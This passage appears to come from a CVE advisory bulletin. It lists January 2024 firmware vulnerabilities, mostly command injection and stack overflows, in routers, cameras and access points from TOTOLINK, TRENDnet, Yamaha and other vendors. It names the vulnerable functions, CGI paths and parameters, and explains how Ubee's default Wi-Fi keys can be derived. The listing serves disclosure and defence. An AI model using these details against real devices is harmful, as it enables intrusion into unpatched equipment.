Stack-based Buffer Overflow	26-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Tenda AC10U	N/A	O-TEN-AC10-090224/3087

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			15.03.06.49_multi_TDE01. This issue affects the function setSmartPowerManagement. The manipulation of the argument time leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252137 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0932**		
Vendor: tenhot					
Product: tws-200_firmware					
Affected Version(s): 4.0-201809201424					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	18-Jan-2024	8.8	An issue discovered in TenghuTOS TWS-200 firmware version:V4.0-201809201424 allows a remote attacker to execute arbitrary code via crafted command	N/A	O-TEN-TWS--090224/3088

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			on the ping page component. **CVE ID : CVE-2023-51217**		
Vendor: totolink					
Product: a3300r_firmware					
Affected Version(s): 17.0.0cu.557_b20221024					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setParentalRules function. **CVE ID : CVE-2024-24325**	N/A	O-TOT-A330-090224/3089
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the arpEnable parameter in the setStaticDhcpRules function. **CVE ID : CVE-2024-24326**	N/A	O-TOT-A330-090224/3090
Improper Neutralization of Special Elements used in an OS Command	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the pppoePass	N/A	O-TOT-A330-090224/3091

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('OS Command Injection')			parameter in the setIpv6Cfg function. **CVE ID : CVE-2024-24327**		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function. **CVE ID : CVE-2024-24328**	N/A	O-TOT-A330-090224/3092
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setPortForwardRules function. **CVE ID : CVE-2024-24329**	N/A	O-TOT-A330-090224/3093
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the port or enable parameter in the setRemoteCfg function.	N/A	O-TOT-A330-090224/3094

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-24330		
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setWiFiScheduleCfg function. **CVE ID : CVE-2024-24331**	N/A	O-TOT-A330-090224/3095
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the url parameter in the setUrlFilterRules function. **CVE ID : CVE-2024-24332**	N/A	O-TOT-A330-090224/3096
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	30-Jan-2024	9.8	TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the desc parameter in the setWiFiAclRules function. **CVE ID : CVE-2024-24333**	N/A	O-TOT-A330-090224/3097

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: a3700r_firmware					
Affected Version(s): 9.1.2u.6165_20211012					
Out-of-bounds Write	23-Jan-2024	9.8	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a stack overflow vulnerability via setLanguageCfg **CVE ID : CVE-2024-22660**	N/A	O-TOT-A370-090224/3098
Out-of-bounds Write	23-Jan-2024	9.8	TOTOLINK A3700R_V9.1.2u.6165_20211012 has a stack overflow vulnerability via setParentalRules **CVE ID : CVE-2024-22662**	N/A	O-TOT-A370-090224/3099
Improper Neutralization of Special Elements used in a Command ('Command Injection')	23-Jan-2024	9.8	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a command Injection vulnerability via setOpModeCfg **CVE ID : CVE-2024-22663**	N/A	O-TOT-A370-090224/3100
Product: a8000ru_firmware					
Affected Version(s): 7.1cu.643_b20200521					
Use of Hard-coded Credentials	30-Jan-2024	9.8	TOTOLINK A8000RU v7.1cu.643_B20200521 was discovered to contain a hardcoded password for root stored in /etc/shadow.	N/A	O-TOT-A800-090224/3101

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-24324		
Product: lr1200gb_firmware					
Affected Version(s): 9.1.0u.6619_b20230130					
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. This issue affects the function setSmsCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument text leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250787. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0571**	N/A	O-TOT-LR12-090224/3102
Stack-based	16-Jan-2024	9.8	A vulnerability, which was classified as	N/A	O-TOT-LR12-090224/3103

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Overflow			critical, was found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument pppoeUser leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250788. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0572**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability has been found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this vulnerability is the function setDiagnosisCfg of the file /cgi-	N/A	O-TOT-LR12-090224/3104

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bin/cstecgi.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250789 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0573**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130 and classified as critical. Affected by this issue is the function setParentalRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sTime leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to	N/A	O-TOT-LR12-090224/3105

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the public and may be used. VDB-250790 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0574**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been classified as critical. This affects the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250791. NOTE: The vendor was contacted	N/A	O-TOT-LR12-090224/3106

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0575**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B20230130. It has been declared as critical. This vulnerability affects the function setIpPortFilterRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument sPort leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250792. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0576**	N/A	O-TOT-LR12-090224/3107
Stack-based	16-Jan-2024	9.8	A vulnerability was found in Totolink LR1200GB 9.1.0u.6619_B2023	N/A	O-TOT-LR12-090224/3108

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Overflow			0130. It has been rated as critical. This issue affects the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument lang leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250793 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0577**		
Stack-based Buffer Overflow	16-Jan-2024	9.8	A vulnerability classified as critical has been found in Totolink LR1200GB 9.1.0u.6619_B20230130. Affected is the function UploadCustomModule of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument File	N/A	O-TOT-LR12-090224/3109

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250794 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0578**		
Product: n200re-v5_firmware					
Affected Version(s): 9.3.5u.6255_b20211224					
Insufficient Session Expiration	26-Jan-2024	4.3	A vulnerability was found in Totolink N200RE V5 9.3.5u.6255_B20211224. It has been classified as problematic. Affected is an unknown function of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. It is possible to launch the attack remotely. The complexity of an attack is rather high. The	N/A	O-TOT-N200-090224/3110

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. VDB-252186 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0942**		
Product: n200re_firmware					
Affected Version(s): 9.3.5u.6139_b20201216					
Stack-based Buffer Overflow	29-Jan-2024	9.8	A vulnerability classified as critical has been found in Totolink N200RE 9.3.5u.6139_B20201216. Affected is the function main of the file /cgi-bin/cstecgi.cgi. The manipulation leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-252270 is the identifier assigned to this vulnerability. NOTE: The vendor	N/A	O-TOT-N200-090224/3111

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1001**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216 and classified as critical. Affected by this issue is the function setOpModeCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument pppoeUser leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252266 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0997**	N/A	O-TOT-N200-090224/3112

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been classified as critical. This affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ip leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252267. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0998**	N/A	O-TOT-N200-090224/3113
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been declared as critical. This vulnerability affects the function setParentalRules of	N/A	O-TOT-N200-090224/3114

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the file /cgi-bin/cstecgi.cgi. The manipulation of the argument eTime leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252268. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0999**		
Out-of-bounds Write	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been rated as critical. This issue affects the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has	N/A	O-TOT-N200-090224/3115

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			been disclosed to the public and may be used. The identifier VDB-252269 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1000**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability classified as critical was found in Totolink N200RE 9.3.5u.6139_B20201216. Affected by this vulnerability is the function setIpPortFilterRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ePort leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252271. NOTE: The vendor was contacted	N/A	O-TOT-N200-090224/3116

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1002**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability, which was classified as critical, has been found in Totolink N200RE 9.3.5u.6139_B20201216. Affected by this issue is the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument lang leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252272. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1003**	N/A	O-TOT-N200-090224/3117

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Stack-based Buffer Overflow	29-Jan-2024	7.2	A vulnerability, which was classified as critical, was found in Totolink N200RE 9.3.5u.6139_B20201216. This affects the function loginAuth of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument http_host leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252273 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1004**	N/A	O-TOT-N200-090224/3118
Product: n350rt_firmware					
Affected Version(s): 9.3.5u.6265					
Missing Authorization	16-Jan-2024	9.1	A vulnerability classified as critical was found in Totolink N350RT 9.3.5u.6265. This vulnerability	N/A	O-TOT-N350-090224/3119

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects unknown code of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. The manipulation leads to improper access controls. The attack can be initiated remotely. It is recommended to upgrade the affected component. VDB-250786 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0570**		
Product: t8_firmware					
Affected Version(s): 4.1.5cu.833_20220905					
Missing Authorization	16-Jan-2024	9.1	A vulnerability classified as problematic has been found in Totolink T8 4.1.5cu.833_20220905. This affects the function getSysStatusCfg of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. The manipulation of the argument ssid/key leads to information disclosure. It is possible to initiate the attack remotely. The	N/A	O-TOT-T8_F-090224/3120

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit has been disclosed to the public and may be used. Upgrading to version 4.1.5cu.862_B20230228 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-250785 was assigned to this vulnerability. **CVE ID : CVE-2024-0569**		
Insufficient Session Expiration	26-Jan-2024	5.3	A vulnerability was found in Totolink T8 4.1.5cu.833_20220905. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been	N/A	O-TOT-T8_F-090224/3121

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosed to the public and may be used. The identifier of this vulnerability is VDB-252188. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0944**		
Product: x2000r_firmware					
Affected Version(s): 1.0.0-b20221212.1452					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	9.8	A vulnerability classified as critical was found in Totolink X2000R 1.0.0-B20221212.1452. Affected by this vulnerability is the function formMapDelDevice of the file /boafrm/formMapDelDevice. The manipulation of the argument macstr leads to command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250795. NOTE: The vendor	N/A	O-TOT-X200-090224/3122

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0579**		
Affected Version(s): 2.0.0-b20230727.10434					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	TOTOLINK X2000R_V2 V2.0.0-B20230727.10434 has a command injection vulnerability in the sub_449040 (handle function of formUploadFile) of /bin/boa. **CVE ID : CVE-2024-22529**	N/A	O-TOT-X200-090224/3123
Product: x6000r_firmware					
Affected Version(s): 9.4.0cu.852_b20230719					
N/A	16-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows attackers to run arbitrary code via the sub_410118 function of the shttpd program. **CVE ID : CVE-2023-52041**	N/A	O-TOT-X600-090224/3124
N/A	16-Jan-2024	9.8	An issue discovered in sub_4117F8 function in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows	N/A	O-TOT-X600-090224/3125

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attackers to run arbitrary commands via the 'lang' parameter. **CVE ID : CVE-2023-52042**		
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_415C80 function. **CVE ID : CVE-2023-52038**	N/A	O-TOT-X600-090224/3126
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_415AA4 function. **CVE ID : CVE-2023-52039**	N/A	O-TOT-X600-090224/3127
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_41284C function.	N/A	O-TOT-X600-090224/3128

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52040		
Vendor: Tp-link					
Product: tapo_c200_firmware					
Affected Version(s): 1.1.22					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	O-TP--TAPO-090224/3129
Affected Version(s): 1.3.4					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	O-TP--TAPO-090224/3130
Affected Version(s): 1.3.9					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	O-TP--TAPO-090224/3131
Product: tapo_tc70_firmware					
Affected Version(s): 1.1.22					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	O-TP--TAPO-090224/3132
Affected Version(s): 1.3.4					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera	N/A	O-TP--TAPO-090224/3133

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**		
Affected Version(s): 1.3.9					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	O-TP--TAPO-090224/3134
Vendor: Trendnet					
Product: tew-411brpplus_firmware					
Affected Version(s): 2.07_eu					
Improper Neutralization of Special Elements used in a Command ('Comman	25-Jan-2024	8.1	A command injection issue in TRENDnet TEW-411BRPplus v.2.07_eu that allows a local attacker to execute arbitrary code via	N/A	O-TRE-TEW--090224/3135

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')			the data1 parameter in the debug.cgi page. **CVE ID : CVE-2023-51833**		
Product: tew-800mb_firmware					
Affected Version(s): 1.0.1.0					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-800MB 1.0.1.0 and classified as critical. Affected by this issue is some unknown functionality of the component POST Request Handler. The manipulation of the argument DeviceURL leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252122 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0918**	N/A	O-TRE-TEW--090224/3136
Product: tew-815dap_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 1.0.2.0					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-815DAP 1.0.2.0. It has been classified as critical. This affects the function do_setNTP of the component POST Request Handler. The manipulation of the argument NtpDstStart/NtpDstEnd leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252123. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0919**	N/A	O-TRE-TEW--090224/3137
Product: tew-822dre_firmware					
Affected Version(s): 1.03b02					
Improper Neutralization of Special	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-822DRE 1.03B02. It has	N/A	O-TRE-TEW--090224/3138

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in a Command ('Command Injection')			been declared as critical. This vulnerability affects unknown code of the file /admin_ping.htm of the component POST Request Handler. The manipulation of the argument ipv4_ping/ipv6_ping leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252124. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0920**		
Product: tew-824dru_firmware					
Affected Version(s): 1.04b01					
Improper Neutralization of Special Elements used in a Command ('Comman	26-Jan-2024	7.8	An issue was discovered in TRENDnet TEW-824DRU version 1.04b01, allows local unauthenticated attackers to execute arbitrary	N/A	O-TRE-TEW--090224/3139

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
d Injection')			code via the system.ntp.server parameter in the sub_420AE0() function. **CVE ID : CVE-2024-22545**		
Vendor: ubeeinteractive					
Product: ddw365_firmware					
Affected Version(s): -					
Use of Hard-coded Credentials	21-Jan-2024	8.8	Ubee DDW365 XCNDDW365 devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. A remote attacker (in proximity to a Wi-Fi network) can derive the default WPA2-PSK value by observing a beacon frame. A PSK is generated by using the first six characters of the SSID and the last six of the BSSID, decrementing the last digit. **CVE ID : CVE-2024-23726**	N/A	O-UBE-DDW3-090224/3140
Vendor: uniview					
Product: isc_2500-s_firmware					
Affected Version(s): * Up to (including) 20210930					
Improper Neutralization of	22-Jan-2024	9.8	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability,	N/A	O-UNI-ISC_-090224/3141

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Special Elements used in an OS Command ('OS Command Injection')			which was classified as critical, has been found in Uniview ISC 2500-S up to 20210930. Affected by this issue is the function setNatConfig of the file /Interface/DevManage/VM.php. The manipulation of the argument natAddress/natPort/natServerPort leads to os command injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251696. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced. **CVE ID : CVE-2024-0778**		
Vendor: xantech					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: wic1200_firmware					
Affected Version(s): 1.1					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	8	A Cross-Site Request Forgery (CSRF) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could lead another user into executing unwanted actions inside the application they are logged in. This vulnerability is possible due to the lack of propper CSRF token implementation. **CVE ID : CVE-2024-0555**	N/A	O-XAN-WIC1-090224/3142
Weak Encoding for Password	16-Jan-2024	6.5	A Weak Cryptography for Passwords vulnerability has been detected on WIC200 affecting version 1.1. This vulnerability allows a remote user to intercept the traffic and retrieve the credentials from another user and decode it in base64 allowing the attacker to see the credentials in plain text.	N/A	O-XAN-WIC1-090224/3143

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0556		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	A Cross-site scripting (XSS) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could store a malicious javascript payload in the device model parameter via '/setup/diags_ir_learn.asp', allowing the attacker to retrieve the session details of another user. **CVE ID : CVE-2024-0554**	N/A	O-XAN-WIC1-090224/3144
Vendor: Yamaha					
Product: wlx202_firmware					
Affected Version(s): * Up to (excluding) 16.00.19					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary OS command may	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	O-YAM-WLX2-090224/3145

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx212_firmware					
Affected Version(s): * Up to (excluding) 21.00.13					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	O-YAM-WLX2-090224/3146

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx222_firmware					
Affected Version(s): * Up to (excluding) 24.00.04					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	O-YAM-WLX2-090224/3147

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			result, an arbitrary OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx313_firmware					
Affected Version(s): * Up to (excluding) 18.00.13					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	O-YAM-WLX3-090224/3148

